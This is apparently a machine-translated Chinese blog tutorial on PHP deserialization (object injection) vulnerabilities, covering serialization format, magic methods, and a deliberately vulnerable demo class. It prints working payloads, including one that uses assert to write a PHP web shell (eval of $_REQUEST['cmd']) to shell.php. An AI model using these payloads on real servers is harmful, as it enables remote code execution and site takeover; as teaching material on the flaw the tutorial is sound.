当前位置:网站首页>Principles and examples of PHP deserialization vulnerability
Principles and examples of PHP deserialization vulnerability
2022-06-21 15:39:00 【I am Huang Daxian yes】
PHP Deserialization
Serialization and deserialization
Serialization is to change an object into a string that can be transmitted .
During serialization, variables with different attributes will be changed in different ways
public When serializing the properties of , Directly display the attribute name protected When serializing the properties of , Will be added before the attribute name 0x00*0x00, Its length will increase 3 private When serializing the properties of , Will be added before the attribute name 0x00classname0x00, Its length will increase Class name length +2
Deserialization is to restore the serialized string to an object , Then continue to use it in the following code .
PHP Magical function
__construct() # Class constructor __destruct() # Destructor of class , Execute this function when the object is destroyed __call() # Called when an invocable method is invoked in an object __callStatic() # Call in an static way when an invocable method is called __get() # Call when you get a member variable of a class __set() # Called when setting a member variable of a class __isset() # When called on an inaccessible property isset() or empty() Called when the __unset() # When called on an inaccessible property unset() When called . __sleep() # perform serialize() when , This function will be called first __wakeup() # perform unserialize() when , This function will be called first __toString() # The response method when a class is treated as a string __invoke() # The response method when an object is called by calling a function __set_state() # call var_export() When exporting a class , This static method will be called . __clone() # Called when the object copy is complete __autoload() # Trying to load an undefined class __debugInfo() # Print the required debug information serialization structure
Deserialization vulnerability
brief introduction
PHP The deserialization vulnerability is also called PHP Object injection , Is a very common vulnerability , Although this type of vulnerability is somewhat difficult to exploit , But once used successfully, it will have very dangerous consequences . The root cause of the vulnerability is that the program does not detect the deserialized string entered by the user , Cause the deserialization process to be maliciously controlled , This leads to code execution 、getshell And a series of uncontrollable consequences . The deserialization vulnerability is not PHP specific , It also exists in Java、Python And other languages , But its principle is basically the same .
principle
The serialized string entered by the user was not detected , This allows an attacker to control the deserialization process , This leads to code execution ,SQL Inject , Directory traversal and other uncontrollable consequences . Some magic methods are automatically triggered during deserialization .
The trigger condition
unserialize The variables of a function are controllable ,php There are available classes in the file , There are magic functions in class
Example
<?php
class demo{
public $name;
public $age;
function __destruct(){
$a = $this->name;
$a($this->age);
}
}
$h = new demo();
echo serialize($h);
unserialize($_GET['h']);
?>payload
payload:( Apply to destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}
Trojan horse
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}We can see when , After creating the object , The __destruct() function , This function also executes automatically , That is to say serialize() Functions and unserialize() Function destroyed object , Triggered the execution of the magic function .
General process :
边栏推荐
- Analysis on the scale and market structure of China's bill financing industry in 2020 [figure]
- MySQL transaction
- Select everything between matching brackets in vs Code - select everything between matching brackets in vs Code
- [Yugong series] February 2022 wechat applet -app Debug JSON configuration attribute
- What is Objective-C ID in swift- What is the equivalent of an Objective-C id in Swift?
- What is SQL injection
- Three disciplines of elastic design, how to make the stability KPI high?
- Stm32l431 immediate sleep mode (code + explanation)
- 2022 Hunan latest fire facility operator simulation test question bank and answers
- Online keyboard key detection tool
猜你喜欢
![In 2021, China's deposit balance continued to grow, and the balance of RMB and foreign currency deposits reached a record high [figure]](/img/23/652f596091dde97031a27bdbccdd0f.jpg)
In 2021, China's deposit balance continued to grow, and the balance of RMB and foreign currency deposits reached a record high [figure]

Gold, silver and four interviews are necessary. The "brand new" assault on the real topic collection has stabilized Alibaba Tencent bytes

Phantom star VR product details 32: Infinite War

soEasyCheckin
![Analysis on the scale and market structure of China's bill financing industry in 2020 [figure]](/img/86/26a9319734854e7ad0e10d9ac2e8eb.jpg)
Analysis on the scale and market structure of China's bill financing industry in 2020 [figure]

对Integer进行等值比较时踩到的一个坑

GO语言-接口

Three sides of the headline: tostring(), string Valueof, (string) forced rotation. What is the difference

GO语言-指针

GO语言-结构体
随机推荐
原生JS路由,iframe框架
Finding minimum spanning tree by using union search set
What is a good product for children's serious illness insurance? Please recommend it to a 3-year-old child
Shell uses arrays
Browser evaluation: a free, simple and magical super browser - xiangtian browser
Mysql5.7 add SSL authentication
GO语言-type关键字
R语言使用fs包的file_access函数、file_exists函数、dir_exists函数、link_exists函数分别查看文件是否可以访问、文件是否存在、目录是否存在、超链接是否存在
Graph calculation on nlive:nepal's graph calculation practice
Rk3399 platform development series explanation (network debugging) 7.32. What is network routing?
Go language - structure
Analysis on the scale and market structure of China's bill financing industry in 2020 [figure]
[leetcode] sum of two numbers - go language solution
Algorithm question: interview question 32 - I. print binary tree from top to bottom (title + idea + code + comments) sequence traversal time and space 1ms to beat 97.84% of users once AC
Alibaba cloud energy consumption treasure will be released soon to help SMEs' green upgrading and participate in the carbon neutral trillion market
通过编译内核的方式增加系统调用
I don't really want to open an account online. Is it safe to open an account online
Research Report on the overall scale, major producers, major regions, products and application segments of active aluminum chloride in the global market in 2022
What is SQL injection
Soul app focuses on the social needs of generation Z and has won many awards for its outstanding performance in 2021